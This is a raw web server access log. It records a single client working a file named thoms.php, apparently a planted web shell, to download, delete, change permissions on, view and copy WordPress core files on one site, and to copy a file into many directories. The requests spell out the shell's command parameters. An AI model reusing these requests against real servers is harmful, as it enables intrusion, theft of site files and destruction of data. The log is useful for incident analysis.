45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /thoms.php?dl=ms-settings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:39 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /thoms.php?del=class-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:39 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:39 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59332 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:39 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fhttps-detection.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fhttps-detection.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:40 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11552 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:40 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 200 12274 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:39 -0400] "GET /thoms.php?del=class-wp-view-config-data.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-view-config-data.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:40 -0400] "GET /thoms.php?del=template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:40 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:40 -0400] "GET /thoms.php?dl=abilities.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:40 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 200 18052 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:40 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:40 -0400] "GET /thoms.php?del=block-i18n.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:40 -0400] "GET /thoms.php?chmod=customize&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=customize&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:41 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:41 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fsession.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fsession.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:40 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59294 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:41 -0400] "GET /bestzyx.com.tw/wp-includes/wp-db.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:41 -0400] "GET /thoms.php?del=theme-i18n.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:41 -0400] "GET /thoms.php?dl=theme.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:41 -0400] "GET /thoms.php?dl=bookmark-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:41 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:42 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fnav-menu.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fnav-menu.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:42 -0400] "GET /thoms.php?dl=class-wpdb.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:42 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:42 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 200 15969 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:42 -0400] "GET /bestzyx.com.tw/wp-includes/admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:42 -0400] "GET /thoms.php?dl=post.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=post.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-patterns.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fblock-patterns.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 200 17825 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /thoms.php?chmod=class-pop3.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 200 15838 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:43 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11863 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 200 13415 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 200 14893 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 200 12284 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:44 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20236 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21779 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
